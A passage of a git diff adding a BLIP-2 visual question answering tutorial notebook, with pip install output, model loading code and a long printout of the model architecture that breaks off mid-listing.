Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ
diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md
new file mode 100644
index 00000000..a88ef88c
--- /dev/null
+++ b/machine-learning/visual-question-answering/README.md
@@ -0,0 +1 @@
+# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
new file mode 100644
index 00000000..5b880995
--- /dev/null
+++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
@@ -0,0 +1,912 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": 2,
+   "id": "2d87ad23-587a-4b20-8121-1d1748ac301a",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "Collecting transformers\n",
+      "  Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n",
+      "\u001b[?25hCollecting accelerate\n",
+      "  Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m227.6/227.6 kB\u001b[0m \u001b[31m47.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.10/dist-packages (from transformers) (3.9.0)\n",
+      "Collecting huggingface-hub<1.0,>=0.14.1 (from transformers)\n",
+      "  Downloading huggingface_hub-0.15.1-py3-none-any.whl (236 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m236.8/236.8 kB\u001b[0m \u001b[31m59.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.10/dist-packages (from transformers) (1.24.1)\n",
+      "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.10/dist-packages (from transformers) (23.1)\n",
+      "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.10/dist-packages (from transformers) (6.0)\n",
+      "Collecting regex!=2019.12.17 (from transformers)\n",
+      "  Downloading regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (770 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m770.4/770.4 kB\u001b[0m \u001b[31m50.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.10/dist-packages (from transformers) (2.28.1)\n",
+      "Collecting tokenizers!=0.11.3,<0.14,>=0.11.1 (from transformers)\n",
+      "  Downloading tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.8 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.8/7.8 MB\u001b[0m \u001b[31m99.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m00:01\u001b[0m\n",
+      "\u001b[?25hCollecting safetensors>=0.3.1 (from transformers)\n",
+      "  Downloading safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.3 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/1.3 MB\u001b[0m \u001b[31m111.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hCollecting tqdm>=4.27 (from transformers)\n",
+      "  Downloading tqdm-4.65.0-py3-none-any.whl (77 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m77.1/77.1 kB\u001b[0m \u001b[31m18.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: psutil in /usr/local/lib/python3.10/dist-packages (from accelerate) (5.9.5)\n",
+      "Requirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.10/dist-packages (from accelerate) (2.0.1+cu117)\n",
+      "Collecting fsspec (from huggingface-hub<1.0,>=0.14.1->transformers)\n",
+      "  Downloading fsspec-2023.6.0-py3-none-any.whl (163 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m163.8/163.8 kB\u001b[0m \u001b[31m39.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.10/dist-packages (from huggingface-hub<1.0,>=0.14.1->transformers) (4.4.0)\n",
+      "Requirement already satisfied: sympy in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (1.11.1)\n",
+      "Requirement already satisfied: networkx in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.0)\n",
+      "Requirement already satisfied: jinja2 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.1.2)\n",
+      "Requirement already satisfied: triton==2.0.0 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (2.0.0)\n",
+      "Requirement already satisfied: cmake in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (3.25.0)\n",
+      "Requirement already satisfied: lit in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (15.0.7)\n",
+      "Requirement already satisfied: charset-normalizer<3,>=2 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2.1.1)\n",
+      "Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (3.4)\n",
+      "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (1.26.13)\n",
+      "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2022.12.7)\n",
+      "Requirement already satisfied: MarkupSafe>=2.0 in /usr/local/lib/python3.10/dist-packages (from jinja2->torch>=1.6.0->accelerate) (2.1.2)\n",
+      "Requirement already satisfied: mpmath>=0.19 in /usr/local/lib/python3.10/dist-packages (from sympy->torch>=1.6.0->accelerate) (1.2.1)\n",
+      "Installing collected packages: tokenizers, safetensors, tqdm, regex, fsspec, huggingface-hub, transformers, accelerate\n",
+      "Successfully installed accelerate-0.20.3 fsspec-2023.6.0 huggingface-hub-0.15.1 regex-2023.6.3 safetensors-0.3.1 tokenizers-0.13.3 tqdm-4.65.0 transformers-4.30.2\n",
+      "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n",
+      "\u001b[0m"
+     ]
+    }
+   ],
+   "source": [
+    "!pip install transformers accelerate"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 3,
+   "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "device(type='cuda', index=0)"
+      ]
+     },
+     "execution_count": 3,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "import requests\n",
+    "from PIL import Image\n",
+    "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n",
+    "import torch\n",
+    "import os\n",
+    "\n",
+    "device = torch.device(\"cuda\", 0)\n",
+    "device"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 4,
+   "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "6b01bf8e2d2a4680ba09d412a2a0286d",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)rocessor_config.json:   0%|          | 0.00/432 [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "d927a13d206a467388e7afbd449b7238",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)okenizer_config.json:   0%|          | 0.00/904 [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "9567eaeb793c4ab1875049fc2e0c2375",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)olve/main/vocab.json:   0%|          | 0.00/798k [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "047288537e9d4f989e238c1e7789767a",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)olve/main/merges.txt:   0%|          | 0.00/456k [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "8b31492abb98403c96b92a2a06ddd709",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)/main/tokenizer.json:   0%|          | 0.00/2.11M [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "2f17a1a3b4fd4059beefd3abb3b53184",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)cial_tokens_map.json:   0%|          | 0.00/548 [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "62da54d46d4546a28df4e43f3ec1696b",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)lve/main/config.json:   0%|          | 0.00/6.96k [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "07e7b68353da4f1ea57a5563b6aaa5f7",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)model.bin.index.json:   0%|          | 0.00/122k [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "db9254ad28eb424088dae1d4639ca28b",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading shards:   0%|          | 0/2 [00:00<?, ?it/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "3466cdec205f459f8c4aacf2b0d5fb3f",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)l-00001-of-00002.bin:   0%|          | 0.00/10.0G [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "00ee3c753f444d93b07969cadb5a8d99",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)l-00002-of-00002.bin:   0%|          | 0.00/5.50G [00:00<?, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "4a411c6523fc49c492374747307eee1f",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Loading checkpoint shards:   0%|          | 0/2 [00:00<?, ?it/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    }
+   ],
+   "source": [
+    "processor = Blip2Processor.from_pretrained(\"Salesforce/blip2-opt-2.7b\")\n",
+    "model = Blip2ForConditionalGeneration.from_pretrained(\"Salesforce/blip2-opt-2.7b\", torch_dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 5,
+   "id": "2d87ea9b-a43c-4585-965c-03b3919cceaf",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "Blip2ForConditionalGeneration(\n",
+       "  (vision_model): Blip2VisionModel(\n",
+       "    (embeddings): Blip2VisionEmbeddings(\n",
+       "      (patch_embedding): Conv2d(3, 1408, kernel_size=(14, 14), stride=(14, 14))\n",
+       "    )\n",
+       "    (encoder): Blip2Encoder(\n",
+       "      (layers): ModuleList(\n",
+       "        (0-38): 39 x Blip2EncoderLayer(\n",
+       "          (self_attn): Blip2Attention(\n",
+       "            (dropout): Dropout(p=0.0, inplace=False)\n",
+       "            (qkv): Linear(in_features=1408, out_features=4224, bias=True)\n",
+       "            (projection): Linear(in_features=1408, out_features=1408, bias=True)\n",
+       "          )\n",
+       "          (layer_norm1): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "          (mlp): Blip2MLP(\n",
+       "            (activation_fn): GELUActivation()\n",
+       "            (fc1): Linear(in_features=1408, out_features=6144, bias=True)\n",
+       "            (fc2): Linear(in_features=6144, out_features=1408, bias=True)\n",
+       "          )\n",
+       "          (layer_norm2): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "    (post_layernorm): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "  )\n",
+       "  (qformer): Blip2QFormerModel(\n",
+       "    (layernorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "    (dropout): Dropout(p=0.1, inplace=False)\n",
+       "    (encoder): Blip2QFormerEncoder(\n",
+       "      (layer): ModuleList(\n",
+       "        (0): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (1): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (2): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (3): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (4): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (5): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (6): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (7): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (8): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (9): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
